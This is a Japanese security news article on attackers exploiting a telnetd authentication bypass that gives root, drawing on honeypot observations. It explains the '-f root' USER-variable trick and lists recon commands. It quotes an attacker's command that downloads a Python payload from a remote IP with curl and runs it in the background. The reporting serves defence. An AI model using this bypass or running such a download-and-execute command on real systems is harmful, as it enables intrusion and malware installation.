「telnetd」の脆弱性悪用が急増:PoC公開後、攻撃者がroot権限を奪取

はじめに: 「telnetd」の深刻な脆弱性悪用が活発化

概念実証(PoC)コードが公開された直後、脅威アクターがGNU InetUtilsの「telnetd」における深刻な認証バイパス脆弱性の悪用を積極的に開始しました。この脆弱性により、リモートの攻撃者は認証なしにrootアクセス権を取得できるため、インターネットに公開されているシステムで広範囲にわたる悪用が試みられています。

このセキュリティ上の欠陥は、GNU InetUtils telnetdのバージョン1.9.3から2.7に影響し、脆弱なコードは2015年3月に導入されました。telnetdサーバーがUSER環境変数を適切にサニタイズせずに、root権限で実行される「/usr/bin/login」バイナリに渡すことで発生します。

脆弱性の詳細と攻撃の手口

悪意のあるクライアントがUSER環境変数に「-f root」という文字列を作成し、「telnet -a」または「–login」パラメータを使用すると、telnetdサーバーは認証を必要とせずに攻撃者をrootとして自動的にログインさせます。これは、ログインバイナリが「-f」フラグを通常の認証プロセスをバイパスするコマンドとして解釈するためです。

脆弱性の概要

  • 深刻度:
  • 影響を受けるバージョン: GNU InetUtils 1.9.3から2.7
  • 攻撃経路: ネットワーク(TCPポート23)
  • 認証要件: なし
  • 取得される権限: rootアクセス
  • 公開日: 2026年1月20日

技術的な悪用方法

この脆弱性は、telnetdがログインコマンドテンプレートを構築する方法を悪用します。「telnetd/telnetd.c」ファイルでは、ログインの呼び出しに以下のパターンが使用されます: PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"。ここで「%U」変数は、クライアントから受信したUSER環境変数の値を、一切サニタイズされずに展開します。攻撃者は、初期接続ハンドシェイク中に、悪意のあるUSER変数を埋め込んだTelnet IAC(Interpret As Command)ネゴシエーションパケットを送信することでこれを悪用します。典型的なエクスプロイトペイロードには、端末速度設定(例:9600または38400ボー)、端末タイプ宣言(XTERM-256COLORなど)、および重要な「USER.-f root」パラメータが含まれます。

攻撃の発見と広範囲にわたる悪用状況

この脆弱性は、2026年1月19日に研究者のKyu Neushwaistein(Carlos Cortes Alvarez)氏によって発見・報告されました。セキュリティ研究者のSimon Josefsson氏は、2026年1月20日に公式アドバイザリを公開し、CVE識別子はまだ割り当てられていないものの、パッチが直ちに利用可能になったことを指摘しました。PoCの公開から数時間以内に、セキュリティ監視プラットフォームは広範囲にわたる悪用試行を検出しました。

GreyNoise Labsは、脆弱なハニーポットセンサーを展開し、2026年1月21日から18時間の間に18のユニークな攻撃者IPアドレスによる60回の悪用試行を観測しました。最初の悪用活動は、1月21日07:19:15 UTCにIPアドレス「38.145.220.204」から発生し、最新の試行は1月22日04:08:41 UTCに「178.16.53.82」から記録されました。最も多作な攻撃者(178.16.53.82)は、10のユニークなシステムを標的として12の個別のセッションを開始しました。

ネットワークトラフィック分析

ネットワークトラフィック分析により、このキャンペーンに関連する1,525パケットすべてがTCPポート23上のTelnetプロトコル通信であり、100%が悪意のあるトラフィックであることが明らかになりました。侵入検知システムは「GPL ATTACK_RESPONSE id check returned root」というアラートをトリガーし、一部の攻撃者がrootレベルのアクセスを正常に取得したことを確認しています。

攻撃者の戦術とペイロード

セキュリティ研究者は、攻撃者が多様なエクスプロイトツールキットを使用していることを示す複数の異なるペイロードバリアントを特定しました。

  • 端末速度設定: 9600,9600ボー(2つの攻撃元)、38400,38400ボー(7つの攻撃元)、0,0ボー/ネゴシエーションなし(3つの攻撃元)、未指定(最小限のペイロードを持つ7つの攻撃元)。
  • 端末タイプ宣言: XTERM-256COLOR(5つの攻撃元、大文字バリアント)、xterm-256color(3つの攻撃元、小文字バリアント)、screen-256color(GNU Screenマルチプレクサを使用する1つの攻撃元)、UNKNOWN(汎用端末タイプを持つ4つの攻撃元)。

攻撃者の大多数(83.3%)はrootアカウントを直接標的としましたが、一部は「nobody」「daemon」、さらには架空の「nonexistent123」アカウントなど、低権限アカウントを使用して悪用を試みました。これは、rootログイン試行を監視する検知システムを回避しようとする試みを示唆しています。一部の攻撃者は、X11 DISPLAY変数を通じてインフラストラクチャの詳細を意図せず開示し、「kali.kali:0.0」「MiniBear:0」「shared-vm2.localdomain:0」などのホスト名を含んでいました。これは、Kali Linuxペネトレーションテストディストリビューションや共有VPS環境の使用を示しています。

侵害されたシステムに侵入した後、攻撃者はターゲットを特定するために自動化された偵察コマンドを実行しました。例として、以下のコマンドが観測されています。

  • uname -a
  • id
  • cat /proc/cpuinfo
  • cat /etc/passwd

一部の攻撃者は、「S」「U/EU」「blah」などの解析区切り文字でコマンド出力を囲んでいました。これは、在庫管理や脆弱性相関のために、コマンド&コントロール(C2)インフラストラクチャによる自動収集を示しています。

マルウェアの展開

同じ攻撃者が、以下のコマンドを使用してセカンドステージのPythonペイロードをダウンロードおよび実行しようとしました。

nohup curl -fsSL http://67.220.95.16:8000/apps.py | python - [target_IP] > /dev/null &

このペイロード配信メカニズムは、nohupを使用してシェル終了後も実行され続けるバックグラウンド実行を可能にし、curl経由でコードを密かにダウンロードし、Pythonの標準入力経由で実行し、出力を抑制します。マルウェア配信サーバー「67.220.95.16:8000」は「apps.py」を提供しているのが観測され、これはボットネットクライアントまたはクリプトマイニングマルウェアである可能性が高いとされています。特に、IPアドレス「67.220.95.16」は、悪用元とマルウェア配信サーバーの両方の目的を果たしていました。これらのマルウェア展開の試みは、curlまたはPythonがインストールされていない強化されたハニーポットシステムでは大半が失敗しましたが、デフォルトのツールを備えた標準的なLinuxサーバーでは成功する可能性があります。

セキュリティ対策と推奨事項

セキュリティチームは、Telnetサービスが公開されていないかネットワークを直ちに監査し、特にこの悪用キャンペーンで特定された18の攻撃者IPアドレスからの不審なrootログイン試行がないか認証ログを確認する必要があります。組織は、悪用が成功した場合は完全なシステム侵害として扱い、フォレンジック分析、資格情報のローテーション、システム再構築などのインシデントレスポンス手順を実行する必要があります。


元記事: https://gbhackers.com/attackers-leveraging-telnetd-exploit/